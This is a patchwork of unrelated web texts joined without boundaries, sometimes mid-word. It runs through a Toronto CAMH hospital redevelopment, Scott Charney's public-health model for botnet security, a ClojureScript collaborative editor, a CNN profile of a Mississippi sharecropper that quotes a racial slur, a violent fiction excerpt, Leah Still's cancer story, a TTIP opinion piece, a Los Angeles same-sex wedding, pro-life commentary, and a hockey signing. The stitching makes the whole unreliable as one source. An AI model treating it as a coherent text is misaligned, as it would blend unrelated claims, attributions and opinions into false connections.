New ambulatory programs will also be implemented, in addition to resource and information facilities, and enhanced research and educational spaces throughout the complex. On the exteriors, site improvements will include significant landscaping, with a more animated public realm planned along Queen West.
Rendering of the CAMH Phase 1C west block, image courtesy of Stantec Architecture Inc
Anticipation for this next phase of development has sparked excitement amongst the organization. The President and CEO of CAMH, Catherine Zahn, noted that "[t]his will be the largest and boldest phase of CAMH's redevelopment project to date. Two light-filled and environmentally friendly buildings will open the doors to our community even wider. They will create dignified spaces for our patients to receive care and support for recovery."
Aerial view looking southeast to the current site, image courtesy of Apple Maps
Construction is set to begin this coming Fall, and carry through for a Spring 2020 opening. The massing, scale, and brick cladding of the new CAMH buildings are reflective of the newer mid-rise buildings along Queen West, with the facility sure to provide a vital boost to the mental health hospital. With environmental and sustainability factors a strong consideration, the project targets LEED Gold certification.
Additional information plus the new renderings can be found in the project's dataBase file, linked below. Want to share your thoughts? Feel free to comment in the space, provided below, or you can join in the ongoing conversation in our associated Forum thread.Once upon a time, users who were careless about security posed a risk only to themselves. But, with the advent of pervasive networking and botnets, that's no longer true. As a result, lax security has become the equivalent of second hand smoke: it poses a risk to everyone, and needs a security equivalent of a public health campaign and quarantines. That's the message of a new report by Scott Charney, who heads Microsoft's Trustworthy Computing Group. And Charney has a simple solution: a digital health report that every piece of network hardware would be required to provide before having access to the full suite of Internet services.
Charney's report is entitled "Collective Defense: Applying Public Health Models to the Internet," and is available for download. In a blog post in which he announced its release, Charney presents this as part of a larger attempt to redefine how we look at cyberthreats, and references an earlier report he prepared. Don't believe him; the two reports are largely unrelated, and the earlier one did little more than present a list of reasons why cybersecurity is so challenging for governments, businesses, and private citizens.
What the new report does is suggest that private citizens need to adopt some of the best security practices used by governments and business. Most large institutions now have a policy whereby machines are not allowed onto a network unless they have the most up-to-date security patches. The network is constantly monitored for signs of aberrant behavior, and the offending hardware is disconnected until an IT staff member can figure out what's going on.
Of course, private citizens don't have an IT staff dedicated to supporting them, and ISPs are unlikely to be especially interested in expending the resources needed to implement something like this. So, that's why Charney argues that we need to use a public health metaphor. "To address cyber threats generally, and botnets in particular," he argues, "governments, industry and consumers should support cyber security efforts modeled on efforts to address human illnesses." This would involve "promoting preventative measures, detecting infected devices, notifying affected users, enabling those users to treat devices that are infected with malware, and taking additional action to ensure that infected computers do not put other systems at risk."
In the public health arena, the equivalent activities require both government standards and the active participation of citizens. And that's precisely what Charney has in mind regarding the digital health certificates. These would be generated by the device itself, limiting the need for user involvement. Access providers would read these certificates and enable different levels of access based on the state of the hardware's health. In one example he gives, a VoIP system that's infected with malware might be limited to dialing an emergency services number until the infection is cleared up.
Meeting the requirements
Charney lays out several significant requirements. For starters, any additional service will inevitably provide a new vector for malware attacks, so it's essential that the health certificate system have security nailed down. The certificate system would also have to disclose a minimum of private information, although some disclosure might be valuable—Charney points out that such disclosure could be useful to have a certificate identify the type of hardware that's been compromised, so that home users know what they need to fix. Finally (and this isn't a surprise, given the author's job title), the system would have to be trusted: hardware can't be able to spoof a clean bill of health, and ISPs can't be able to disconnect users for arbitrary or commercial reasons.
Who can make sure all of this happens? Ideally, in Charney's view, market forces and the relevant stakeholders. But he's not especially optimistic that they'll be anywhere close to sufficient, and he falls back on expecting heavy government involvement in several places. These include making the system affordable to device makers and ISPs—"if market forces prove insufficient, then the government should use the tools in its tool kit to ensure the model is economically viable"—and making sure the system isn't abused—"Governments may still want to regulate how health certificates can be used so that any program is limited to ensuring device health and that information gathered is used for no other purpose (for example, the enforcement of intellectual property rights, the creation of marketing profiles)."
All of that seems like a lot to ask for, which is presumably why Charney turns to the second-hand smoke model. "Consumers have been told for years to keep their systems up to date, run antivirus programs, and backup their data." he argues. "Like smokers, they were told that the failure to follow the advice given would put them at risk, but ultimately they could choose to accept that risk. With botnets and similar types of malware, however, one is not simply risking one’s own device—one is putting others at risk too."
Overall, the health certificates are an intriguing idea, and could potentially make economic sense for IT departments, if not private citizens. But the number of moving parts and potential abuses will be very, very large, and the system would require input from a large number of competing interests if it's ever going to get anywhere. Charney's going to have to be a very compelling salesman if he hopes his ideas will catch on.
Listing image by Flickrcrepl: Write and run ClojureScript code together
03 Feb 2017
crepl is a collaborative editor written in Clojure and ClojureScript. In the editor you can write and evaluate ClojureScript code. This is a fun and quick way to try out some ClojureScript code. The real fun begins when you get others to work on the same code with you by sending them the URL. When multiple people are working on the same code at the same time you will see their changes appear immediately and the output of running the code will be shared with everybody. crepl is like Google Docs that can also run ClojureScript!
Two people working on the same ClojureScript code and seeing the same output.
crepl is made with the following libraries:
ClojureScript, with self-hosting support
CodeMirror for the editor
re-frame for the front-end architecture
Pedestal for the server side
clojure.java.jdbc for the database
Try crepl here: crepl.thegeez.netEditor's note: The n-word appears in this piece because CNN feels the context in which it is used is pertinent to the story of James "Little Man" Presley.
James "Little Man" Presley has worked in the cotton fields of Sledge, Mississippi, since he was just 6 years old. more photos »
SLEDGE, Mississippi (CNN) -- James Presley stands amid chopped cotton, the thick Mississippi mud caked on his well-worn boots. A smile spreads across his face when he talks about voting for Barack Obama and what that might mean for generations to come. His voice picks up a notch. He holds his head up a bit higher.
"There's a heap of pride in voting for a black man," he says.
At 78, Presley is a legend of the past living in the present and now hopeful for the future. A grandson of slaves, he's one of the few men left in America so closely tied to his slave past, still farming cotton on the same land as his ancestors. He's picked cotton since he was just 6 years old.
He and his wife of 57 years, Eva May, raised 13 children and six grandchildren in a cypress-sided house in the middle of cotton fields in northwestern Mississippi. He was a sharecropper most his life, but rarely qualified for food stamps. Watch "Obama, he come up like" »
His father died in 1935 when he was 5, and he had to step up and be the "Little Man" of the house, a nickname that has stuck seven decades later.
He's lived a raw-knuckled life where hope moved at a molasses-slow pace. The last time he had hope for a better future was four decades ago -- first with President John F. Kennedy and then with the Rev. Martin Luther King Jr.
Obama has changed everything to the poor in these parts. iReport.com: What does Obama's presidency mean to you?
"I'm a church man," he says. "And I kind of figured this here is about like it was with Moses with the children of Israel. On that day, when he gets to be president, we're all going to be rejoicing."
Does he have plans to celebrate on Inauguration Day?
"Oh man, it's gonna be nice. I believe we're gonna have a good time," he says. "I never thought one would get there." See photos of the weather-beaten home where Little Man raised so many children »
As the nation prepares for Obama's inauguration on January 20, CNN.com traveled to Sledge, Mississippi, a forgotten town of about 500 people in the heart of the Mississippi Delta that some consider to be the birthplace of blues in America.
Nearly 20 percent of residents over the age of 60 live below the poverty line, according to the 2000 census. That number nearly doubles, to 37.5 percent, for residents under the age of 19. About three-quarters of the population are black. Two-thirds of the people here make less than $35,000 a year.
Presley says the fact the nation will have a black president will have a ripple effect in poor communities like his. For the first time ever, he says, black parents and grandparents can tell youngsters in rural America that through education, anything is possible -- that the White House isn't just for white folks.
Three of his children graduated from college. Two have died -- one as a youth, one as an adult. It never gets easier, he says, no matter what age they die. Obama has already brought inspiration to future generations of his own family.
"I might be dead and gone, but it's going to be a good thing to me, because I know that they ain't gotta go through what I went through. They'll have a better time, a more joyous time, than what I had when I come along. It is gonna be grand to them and to me, too."
After Presley's father died, he was raised by his mother, and he finds comfort that Obama was raised by a "single mother, like me." Read: My great-granddaddy hired Little Man as a boy
"He knows what it is to come up without a father and what it is to come up for what you work for," Presley says. "Me and the poor man coming up, we had to work for what bread I got."
Presley shifts back and forth on his feet as he speaks. His flannel shirt and oil-stained jeans seem befitting of his life on the farm. He peers out from a camouflage hat, the fuzzy ear flaps pulled up over his head. He speaks in an accent as thick as the mud on his boots.
His hands speak to decades of hard labor. His fingers appear swollen with overworked muscles. The skin seems about a quarter-inch thick. If his hands could speak, he says, "They'd be crying, instead of talking, for what they've been through."
"You see how rusty and rough they are. They've been through something, ain't they?"
At 6-foot, 2-inches and 214 pounds, Presley has what seems an odd nickname. "They call me Little Man," he says.
He wears the nickname with pride. The youngest of three sisters and four brothers, he says that after his father died in 1935, he became the "Little Man" of the house. "I was tall, but I was small. So they called me Little Man," he says.
He doesn't remember much about his father. He can't recall the day he died or the sound of his voice. He was too young. He never met his slave grandparents either. They died long before he was born. But the fact they were slaves still stings.
"That doesn't make you feel too good, you know, to be sold like a cow. But back then, they couldn't help it. So I reckon I'm just glad that things come out better like it is now."
A thick fog hangs over the fields on this day. Presley pauses. He scans the fields and says, "I think about the good times and the hard times."
"When I started farming, we planted with hands... and hauled it to the gin by wagon, a mule and a wagon. One bale at a time," he says.
He worked the fields when he was 6, the age of a typical kindergartner these days. "I was making 50 cents a day, from sunup to sundown."
"Back then, you know, I didn't get no schooling. I had to get out, come home and break the land, cut the stalks, plow the land and get it ready for the crop."
Presley has a total of four years of education, classes that he took in between growing seasons. His mother taught him to read and write, but he admits even to this day he struggles with both.
When it comes to life as a black man -- a sharecropper -- in Mississippi, he says it's tough to explain how difficult it was. He points to a nearby bluff and says that when he was just a boy, a black man was lynched from a tree. "I never saw him hanging up there," he says. "All I seen was the tree."
Blacks were segregated from whites. They couldn't go to the same schools. They had separate water fountains. Blacks couldn't go in the front doors of businesses. And just about everywhere you went, he says, racism was rampant.
"You go into a place, and they say, 'Nigger, get outta here.' You don't want nobody telling you that. You're a citizen around town. If you're a citizen, I'm a citizen like you," he says. "It makes you feel mighty bad."
"When I was a young boy, they was bad about that, calling you that."
He registered to vote for the first time in 1959 and cast his first presidential ballot for Kennedy. He says he's voted in every presidential election ever since.
"We felt like we were moving on up when we voted for him," he says. When Kennedy was assassinated, "everybody was kind of sad on that day, because he looked like the first president that had come in and was trying to help the poor folks."
King brought hope, too. "He was the only hope that we were looking for -- to bring us out," Presley says. But when King was killed on April 4, 1968, he says, it "put us right back where we was."
"It was pitiful that day," he says. "Everybody around here was in mourning."
He says Obama has brought inspiration to blacks in these parts, the likes of which hasn't been seen since 1968.
"With Obama coming in, it's gonna be another Martin Luther King helping us," he says. "Maybe in the next 40 years, we'll be better off."
He says Americans should never take their voting rights for granted. He was 30 years old before he first voted. "It means a lot to me, because I can put in for who I want to be president and who not to be president," he says. "So I just feel proud that I can vote."
Before parting on this day, Presley gives a tour of the weather-beaten, four-bedroom house where he raised his 13 children and six grandkids. The wood-framed house was the first home he ever lived in with running water, a bathroom and electric stove. The now-abandoned house is dilapidated, many of its windows broken, its doors barely hanging on hinges.
"I've had a good life, despite the hard times. I sure did," says Presley, who is retiring after 72 years of working the fields.
What's his message to the world?
"The important thing in life is to try to live and do the best you can," he says. "We done had it bad. Let us help give our children a better life, our grandchildren, our great-grandchildren. Let's try to give them a better life than we had. But anyway, just keep the good work going, is all I say."
All About Barack Obama • MississippiPrevious Next
“Fugitive,” the noble said.
“Ah,” Gordon said. “That’s no good.”
I exhaled, as much as I was able, with the cane pressing against my throat.
The young man who was sitting across from me looked as though he had just had a team of hairdressers, a barber, and a tailor just finish working on him. His black hair was slicked back, the faint messiness at the front of his hair and over his ears looked sculpted. It was late, but his chin was clean of even the shadow of stubble. Chin and cheekbones were sculpted, giving his face a mask-like appearance that I couldn’t quite put my finger on. He wore a white collared shirt with ornate silver trim at the edges of the collar, a tie, vest, and a long black coat. The silver ornamentation extended to his cufflinks, embossed buttons, the buckles of his shoes, and, now that I looked, to the irises of his eyes.
He was the biggest threat, so I fixed the whole of my attention on him.
“What a shame,” he said. “By bringing you in, we’re denying a good citizen the ability to do the same. There was good money placed on you, sir. Good money the Crown was willing to part with, a sum that could have raised someone up from obscurity to aristocracy.”
“Wouldn’t it be nice if we could kill them all?” Helen asked. “Make a lovely bloody mess.”
“Not practical,” Gordon said. “We need to play along for now. We kill them later.”
“Lord Monte,” one of the two girls in the group spoke, with a posh accent that pronounced ‘Monte’ as “Mont-ay’. I didn’t take my eyes off of ‘Monte’ as she continued, “If you talk about the citizens of the Crown in that way, they might get offended.”
She made it sound like play. As if to set up Monte for a retort, a joke at the citizen’s expenses.
But he was more focused on me than on verbal wordplay or making light of the citizen’s feelings.
“You don’t look like much, do you?” Monte with the silver ornamentation spoke, studying me. “But you certainly did something to deserve being worth that reward money.”
Jamie’s voice overlapped with his, “Think. Gordon’s right, we need to play along, and we’re getting swept up in the observations without picking out the things we can use. You used Wyvern to shut out the world, Sy, but we need you to access the world again.”
I stared into Monte’s silver eyes, and I was reminded of how I’d met Lillian’s, when she and I had been so close. It was a painful reminder, but it was a barb that helped wake me up to reality, connect this situation to the way I’d been thinking there.
The emotional equivalent of reaching out, seizing a knife by the blade, and squeezing.
Something must have changed in my expression, because Monte said, “There you are.”
“Good evening,” I said.
“Titles!” Jamie urged.
“No titles,” Evette said. Evette was now behind Monte’s seat, arms folded over the top of the seats. Her chin had been resting on her forearm, but now her head was raised just enough to let her talk. “Look at him, look at them. They’re deferring. The woman, the way she talked, you know He’s the leader of this pack. Your instincts said to focus on him for a reason.”
Whatever the case, the window of opportunity had passed.
The cane moved from my guzzler’s knot to the side. It jerked, pressing in hard, just beside my windpipe. Had it been sharp, a thrust of that force would have gone right through my neck to the seat behind me.
He knew where nerve clusters, veins, and arteries were, I was guessing.
“Customarily,” Monte said, “One addresses a noble lord in a more appropriate manner.”
Already, my vision was suffering for the continued press of the cane. It was crumbling to black at the edges, especially around my left eye.
“Stay strong, he won’t kill you this quickly,” Gordon said. “Bend the knee, Sy.”
“Bend the knee,” Jamie echoed.
I looked up at Evette. Her chin rested on her arm, now. She only smiled.
“Ah,” I managed.
Monte let up with the cane. I took a second to let my vision start to go back to normal, the light returning at the periphery.
“My apologies,” I said.
Monte declined his head in acknowledgement of my apology.
“Good evening to you,” I said, looking again at Evette. “Monte.”
The cane stabbed forward before I was even done uttering the word. Fast reflexes. The butt end of it thrust past my teeth and into my open mouth, then stabbed at the soft flesh at the back of my throat.
My eyes went wide. The contact there and the natural physiological reactions mandated that I gag and upchuck, but the fact that I hadn’t eaten in recent memory, giving my lunch to Shirley instead, and the fact that I’d dulled my senses and put myself into a kind of hibernation mode meant I was only barely able to repress my reaction.
My hands went out, gripping the armrests to either side of me, as he pressed hard, the back of my neck being compressed against my pillowed seat back.
He kept me like that, my breath coming in short, pained gasps, while he continued to stare me down. The others stood on the sidelines, quiet and analytical. Even bemused.
“I don’t think Evette gives very good advice,” Ashton commented.
“I’m inclined to agree,” Gordon said. He gave Evette a pointed look. “Why are you even here?”
Evette spoke, “You’re all here for Sy, you’re paying attention to him, you know him. I’m more focused on them. You’re in lockstep, you work together, and one of us has to be a little unconventional.”
Distant, sitting back, the problems beyond. That made a degree of sense.
Monte might have sensed that my focus was elsewhere, because he rotated the cane, still pressing it against the soft tissue at the back of my throat. I’d already been bleeding, no doubt, but now there was actual damage. He was grinding the tissue there much as someone might do to make absolutely sure that the bug underfoot was being extinguished.
“Ow,” Helen said. Jamie had his face in one hand, beside her.
“I did want this to be my chance to show Sylvester what he could do if he just did things right the first time around,” Gordon commented.
Evette commented, “Which translates to you being informed by a fragment of Sy’s personality that wants to be fantastic at everything he does.”
“Well, yes, but we’re glossing over that,” Gordon said.
I started to raise my hands, intending to grab the cane.
“No, Sy,” Gordon said. He put his arm out, between my hands and the cane. “You’re not going to win that battle of strength, not when he has the leverage and most certainly not when you’re you. You took Evette’s advice. See it through, at least.”
I lowered my hands, settling them into my lap, and clasped them there, as if I’d never been more comfortable.
“Good. Upside,” Gordon said, “Is we’ve made this a battle of wills. There’s room to move to make that a battle of wits.”
“Monte has an image to maintain,” Evette said. “He wants to resolve that image. The hope is that he realizes he can’t just extinguish us without turning us into… a kind of martyr, I suppose? Our last action would be a mad, curious kind of defiance of him, and our deaths would seal it in the memories of his peers. That would nettle him. More a loss than a win.”
Helen leaned over, peering along the cane and into my open mouth. “There’s a fair amount of blood. Even with Sy’s tolerances, he’s going to choke soon, or ingest so much of his own blood that he reflexively vomits. He might be able to suppress that, I know, but-”
“He might not,” Gordon said. “Damn it. Okay. That’s the nature of the battlefield then. Will Monte take an out if we give it to him?”
“No guarantee,” Jamie said.
“I don’t think so,” Evette said. “They barely even recognize us, let alone recognize us as an enemy.”
“Alright,” Gordon said. “Damn it to hell.”
The train rattled as it bumped over some mild obstruction on the tracks. I involuntarily winced as the cane shifted even more than it had been.
If he was going to say anything, it would be now.
He was true to form. Monte spoke, “Shall we stay like this all the way to New Amsterdam? My arm won’t get tired. I can smell the blood coming from the back of your throat. I can see your muscles moving as you hold yourself back from gagging. If you try to vomit, you might tear your own throat open. How many hours is it?”
“Long enough,” one of the other nobles said. A man, wearing only a vest over a collared shirt. His blond hair was damp from the rain of Radham.
“This is dull, Monte,” one of the other nobles said. The second of the two young ladies. She was the shortest of the group, with black hair, intense blue eyes, and a light fur ruff at her collar, built into her dress. Where the fur ruff might have been too warm for summer, the fact that her hair was an ‘up’ style that exposed her neck and that her dress was open backed and mid-thigh in length made up for it. The series of careful balances continued, as she wore just enough tasteful jewelry to make up for the minimal quantity of cloth. She, too, had chosen silver.
The dress tied at the back, behind the neck. The elaborate tie looked like a small set of wings.
“She called him Monte. Is she testing him?” Jamie asked.
“There’s a greater game afoot,” Gordon said. “That’s their interplay.”
Monte stood, and his hand slid down the length of the cane as he approached.
“And they’re related,” Helen commented.
“See, fugitive,” Monte said, his voice low. “My sister, she can call me by my name. But my friends and peers? Even they know enough to call me lord.”
“You,” Gordon pointed at Evette.
“You got angry at me last time. My lips are sealed.”
“Good. This is a power game, contest of wills. I think… there has to be a way out of this.”
“I can think of one, but it’s a case of frying pan and fire,” Jamie said.
“No,” Gordon said. “There has to be a straightforward solution. Helen? Please? Ideas?”
“Charm him?” Helen offered.
“Yes, because Sylvester is such a darling,” Evette said.
Gordon gave her a warning look and a stern point that threatened future repercussions. Evette clapped a hand over her mouth.
“I don’t think that’s going to work,” Gordon said.
“Nothing is going to work,” Jamie said, “Sylvester is Sylvester, we’re not him. As a composite, we’re a mess, we’re functioning too slowly. He’s turning to us because he just had to face the hard reality that being Sylvester often doesn’t work out. He doesn’t want to be him, so…”
“He’s being us,” Helen said. “And it’s like it was back in Brechwell, when he was missing you, he’s not very good at being you. That’s why we’re stumbling.”
I suppressed a cough as I failed to swallow the blood that was making its way down the back of my throat.
“We don’t have another option,” Gordon said. “At least not right now. And we’re out of time.”
Prey instinct, again.
Something in Monte’s demeanor had tipped Gordon off. The cane came free, sliding out of my mouth.
“Were you going to say something?” Monte asked.
“He knows full well that was a cough,” Helen said, indignant.
I started to speak, and felt the pain in my throat, the blood, and coughed fairly violently, turning my head and coughing into my hand.
“He’s sensitive to his sister’s boredom,” Gordon guessed. “And we need an answer to give, now. Jamie, the frying pan, the fire, does it buy us time before the fire?”
“Yes, it definitely does, but… the timing is wrong. It’s a gamble as is, but it could be disastrous.”
“Damn it,” Gordon said, for the third time. He watched as I continued coughing. “You’re sure?”
“Positive.”
“Cease your barking and speak, boy,” Monte said, imperious. His hand gripped my hair and pushed my head back against the seat. The movement of my head made my throat hurt, and the shift in angle forced blood out of the open wound, which only exacerbated the problem.
He’d known about the veins and nerve clusters. He had to know he was demanding I speak while I was helpless to do so.
“Violence?” Gordon asked. “Stupid question. Threaten? No.”
“Can’t negotiate,” Helen said.
“Can’t play them off each other,” Gordon said.
“Bargain?” Jamie suggested.
“Would be too close to begging. And if he’s anything like I think he is, he hears begging often enough,” Gordon said. “And we don’t know what they want.”
“No tools available,” Evette said. “We have a knife, the packet of poison from Lillian’s bra in his pocket. Nothing too useful. There’s the cloak? If we were quick, we could use the distraction and slip under the seats. No…”
“Thank you for contributing,” Gordon said. “And I agree, no. We’re not that quick, and there’s nowhere to go.”
“And Shirley,” Evette pointed out.
“And that,” Gordon agreed.
I regained my breathing. I swallowed,
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and Leah made the most of the opportunity to raise awareness through events and social media (using the hashtags #LeahStrong and #StillStrong), raise funds for cancer-related causes, and serve as inspirations to everyone who's been affected by the deadly disease.
In September 2014, Leah starred in Sara Bareilles and Cyndi Lauper's music video, "Truly Brave," which TODAY's Hoda Kotb — a breast-cancer survivor — produced. The singer-songwriters combined Bareilles' hit "Brave" with Lauper's chart-topper "True Colors" to create the mashup "Truly Brave," an apt description for Leah and fellow cancer survivors. That video linked to Hoda's Crowdrise page, which raised more than $500,000 for the American Cancer Society's pediatric-cancer research.
The same day of that video's release, Leah underwent nearly six hours of surgery to remove a tumor and all of her lymph nodes, according to Devon. Because the cancer had spread to her bones, she faced more battles in the months that followed, though she also found new ways to spread her message of awareness and hope.
In January, Devon announced that he and his daughter teamed up to write the children's book "I Am Leah Strong" to both motivate kids who are fighting the disease and raise funds for pediatric cancer charities.
Leah attended New York Fashion Week in February to walk the runway at the Nike Levi's Kids Fashion Show — just five days after she finished an eight-day stint at a hospital for cancer treatments.
In March, Devon and Leah flexed upon hearing news that she appeared to be cancer-free — but the battle wasn't quite over. Two months later, Devon reported that Leah suffered a "pretty serious complication" related to a stem-cell transplant. "As you can imagine our minds are all over the place," he wrote, "but we're going to try and remain positive."
The father-daughter duo shared an ESPY Award for perseverance in July, when Devon accepted the award and Leah, while recovering from chemotherapy treatments, appeared in a prerecorded video message to ESPYs viewers. "Sorry I couldn't be here everybody," she said at the time, "but thank you for supporting me while I beat up cancer."
NFL player Devon Still, of the Cincinnati Bengals, accepted the Jimmy V award for perseverance at the ESPY Awards on Wednesday, July 15. Chris Pizzello / AP
Leah's impact continued to grow in August, when her image graced the iconic fronts of Wheaties boxes.
In September, Hoda visited Leah in Philadelphia and helped her at a makeshift lemonade stand in the lobby of Leah's apartment building.
And for Halloween, no amount of sugar could have made Leah and Devon's Halloween's costumes any sweeter: She was Sleeping Beauty, and he was Prince Philip. "#SheWasStuckInTheHospitalLastHalloween," reads part of Devon's related Instagram caption. "#SoICouldntSayNo."
Follow TODAY.com writer Chris Serico on Twitter.A looming EU-US trade deal is profoundly undemocratic.
Across Europe, opposition to the looming US-EU trade deal is growing. The ‘Transatlantic Trade and Investment Partnership’ potentially hands big business unprecedented power to resist the policies of elected governments in a wide range of areas, from product safety standards and fracking to the role of profit-driven firms in the NHS.
Quietly published last November, a barely noticed official report commissioned by the Department of Business, Skills and Innovation offers the best analysis of the deal, systematically demonstrating a devastating attack on democracy and progressive politics.
The report chillingly argues that “an EU-US investment treaty would impose costs on the UK to the extent that it prevents the UK government from regulating in the public interest”, focusing on the effects of ‘investor-state dispute settlement’.
International tribunals would be created through which US companies could sue the UK government for lost profits if policies and regulations deviated from broadly defined ‘free trade’ standards. The likely scope is incredibly broad in the absence of safeguards for policy areas such as healthcare and utilities.
The sheer scale of US-UK trade means that “the likelihood of disputes between US investors and the UK government is high”, especially because “American investors tend to be the most litigious in the world…including in politically sensitive cases”. Consequently, the authors predict that “the UK would be regularly faced with US investors opposing new UK government policies on the grounds of the treaty”.
Although these disputes would often be settled in the UK’s favour, the mere threat of legal action would sometimes be enough to change policy since the government has clear incentives “to settle the case, even if only to avoid litigation costs”.
The concept of “reduced policy space” is used to summarise this impact, an Orwellian way to describe the extent to which the ability of society to collectively achieve certain social goals would be put beyond the reach of the ballot box.
Disturbing international precedents justify these fears: tobacco giant Phillip Morris sued Australia for introducing plain-packaged cigarettes; a Dutch insurer successfully sued Slovakia for reversing health privatisation; and there have been scores of challenges against Canada under NAFTA on issues ranging from electricity regulation to export bans on hazardous waste.
The report’s conclusions about the over-hyped economic benefits of investor dispute mechanisms are equally compelling, bluntly stating that “in sum, an EU-US investment chapter is likely to provide the UK with few or no benefits” since “investors have generally not taken much notice of investment treaties in the past when deciding where, and how much, to invest abroad”.
Basic democratic principles could be sacrificed for negligible economic benefit. Campaigners justifiably fear that the deal amounts to a ‘Corporate Bill of Rights’, giving big business entrenched legal rights whilst further eroding the ability of citizens to democratically choose the type of society they wish to live in.
The deal should therefore concern everyone who believes in democracy, but it should be particularly unsettling for the Left as the potential for progressive politics is quietly smothered under a layer of anodyne, technocratic jargon like ‘harmonisation’ and ‘streamlining’.
Despite the far-reaching consequences of the deal, this vital European issue has been drowned out in the UK by the noisy debate about an in-out referendum.
Most Conservatives are unlikely to criticise a business-friendly EU initiative which fails to conform to their image of Europe as a socialist conspiracy, whilst UKIP have been remarkably quiet on the issue so far.
Labour is left with an opportunity to seize on the issue and secure a democratic mandate to alter the deal in the upcoming European election, a concrete example of a progressive and constructive role for Britain inside the EU. There have already been encouraging hints of unease within the party, such as Andy Burnham’s call to exclude the NHS from the deal.
This trade deal should be made the central issue of the election – not the in-out debate – especially since it coincides with the European Commission’s concession of a three month ‘consultation’ phase due to “unprecedented public interest”.
Past European elections have tended to be almost apolitical affairs, typically lacking debates about specific policies or even serious dividing lines between the major parties. However, if Labour allied itself with the European-wide movement opposing the deal, these elections would be different.
May 2014 would become a chance to send a strong, unambiguous message to negotiators who would let big business regulate and restrain the ability of the ballot box to achieve social change.Supreme Court
couple married
at L. A. City Hall
IT WAS AN EMOTIONAL MOMENT when Los Angeles Mayor Antonio Villaraigosa pronounced Paul Katami and Jeff Zarillo as “married” on Friday evening.
The assembled press corps, gathered in a small room in Los Angeles City Hall, burst into raucous applause, cheering the newly-weds.
There was barely a dry eye in the place.
Katami and Zarillo are two of the four plaintiffs in the gay marriage case, Hollingsworth vs. Perry, which challenged – and ultimately overturned – Proposition 8, the voter approved measure which banned same-sex marriage in California in 2008.
“On behalf of the state of California, let me pronounce you married,” Villaraigosa said after the brief exchange of vows.
WATCH VIDEO BELOW THE FOLD
STORY CONTINUES BELOW VIDEO
IN A FIVE-MINUTE QUESTION and answer session with reporters afterwards, the beaming couple related to the world the events of the previous few hours.
After the Ninth Circuit Court of Appeals lifted its stay on gay marriages in mid-afternoon, and a 25-day delay in issuing marriage licenses was voided, the couple raced about 25 miles through the notorious Friday afternoon freeway traffic from their home n Burbank to Norwalk, Calif., to obtain their license.
They then turned around and came back to downtown Los Angeles.
“It’s been a whirlwind,” Katami said. “[Voiding the 25-day delay] was a surprise to all of us.”
“This is just an amazing feeling,” Zarillo said. “Our desire to marry has grown so much over the last four years.”
Katami drew howls of laughter when he added: “Everyone says we deserve to be as miserable as everybody else.”
Dressed in business suit, white shirts and ties, the pair sported white carnations on their lapels. They were accompanied by a few friends, including David Mars.
I FIRST GOT AN INKLING that something was afoot around 4 p.m. at my local pharmacy when total stranger mentioned he was going to have to watch a “gay wedding” on television that evening.
I raced home and called the one person whom I knew could tell me where and when the ceremony was to be held: an assignment editor at KABC 7 TV whom I have known for more than 20 years.
He had the media advisory on his desk when we spoke, and read me the details.
With all the gear stashed in it, I jumped on my motorcycle and sped the 13 miles to downtown through heavy traffic.
I parked my bike on the sidewalk.
Without an official press credential, I had to talk fast to get past the security guard since City Hall was officially closed for the weekend.
“I am going to the wedding,” I said, waving my reporters’ notebook at him.
I was about 20 minutes early. At the back of the room was a 12-foot long conference table. Two camera crews were atop it, but there was space for two more.
I didn’t hesitate.
I jumped up and positioned myself alongside the cameraman from ABC 7, Mike Juhas, caught my breath and introduced myself.
A few minutes later, the last position on top of the table was taken by Hideyuki Shimane of the Japanese Broadcasting Corp.
THE ENTIRE PROCEEDING took less than 20 minutes.
I must admit to a momentary pang of guilt.
Every semester I tell my students that we in the media allow ourselves to be manipulated when we cover such “pseudo” events that, without the assembled press corps, would never have taken place.
The mother of all such events was President George Bush’s appearance on an aircraft carrier off the coast of Carlsbad, Calif., on May 1, 2003, when he declared, America’s “mission accomplished” in Iraq.
The public was not invited to Friday’s wedding.
It was held only for the press.
However, it is a two-way street. It is an efficient way for the media to cover significant breaking news, and also a method for the sources to communicate instantly with a global audience.
In this instance, I felt it was totally justifiable.
The bells are ringing in California today. Happiness and joy are spreading throughout the land.
It seems like only a matter of time until the 13 states where same-sex marriage is now recognized, become 50.
First published at 5:44 a.m. Saturday, June 29, 2013. © SGE, Inc. All rights reserved.Politics
The latest undercover video from Live Action’s “Inhuman” series on late-term abortion and its survivors takes us behind closed doors at an Albuquerque, New Mexico clinic, where a counselor and abortion doctor falsely assure the prospective patient that her 24-week fetus doesn’t look like a baby, and won’t feel pain:
“What do you consider a ‘baby?'” the counselor asks dismissively, summing up much of the abortion debate in a single burst of callous indifference. That’s what this is really all about. People who view the targets of abortion as “babies” are much less likely to support the procedure than those who regard it as the surgical removal of a tissue mass. Move that same mass of tissue a few inches outside the womb, where its face can be seen – and its name can be spoken – and suddenly we’re talking about murder instead of a “flu shot.” Does that really make sense?
Is anyone surprised that the abortion industry deliberately employs dehumanizing language and deception to keep its customers rolling in? That’s been the first step in every organized effort to end human life, throughout history. Most Americans think of abortion as a grave decision made after intense contemplation. That’s not what you’re seeing on these Live Action videos, not at all. Clinic staffers and doctors are telling pregnant woman to regard abortion the same way they’d think about nipping over to the local Costco for a flu shot. For my money, abortion is not considered with appropriate gravity unless we first acknowledge there are three lives involved: the mother, the father, and the baby. To begin the discussion from any other perspective is dishonest. (And while there’s not much an individual mother can do if the father doesn’t want to part of the discussion, society in general should not excuse or ignore them.)
Statement from LiveAction president Lila Rose:
These babies, whom Carmen Landau calls “not a thinking being,” are unique and precious human persons. They feel, they dream, they grow…and when an abortionist tries to kill them with a needle or with forceps, they react. They fight for their lives, just as any of us would. Our investigation has exposed the disturbing willingness of abortionists to engage in illegal and inhuman acts, including misleading pregnant women, pushing them into abortion, and even infanticide. This is horrible, but Americans should know just as well the horrifying practices that are still legal, that we allow to happen every day. […] Every human being is unique and precious from the moment of conception. But abortionists will not give even these babies – 24 weeks, 27 weeks, viable, capable of surviving outside the womb – the dignity of humanity. So we want to put the question in every American’s head: if not even these babies are worthy of humanity in the abortionist’s eyes, then what is human? What does “human” even mean?
To claim dignity for ourselves, without granting it to others, is arrogance. “What do you consider a ‘baby?'” is a good question. “What does the baby consider you?” is an even better one.The Chicago Blackhawks announced today that they have agreed to terms with goaltender Nikolai Khabibulin (NIH-koh-ligh, hah-bee-BOO-lihn) on a one-year contract. Khabibulin previously spent four seasons with the Blackhawks from 2005 to 2009, including a trip to the 2009 Western Conference Final.
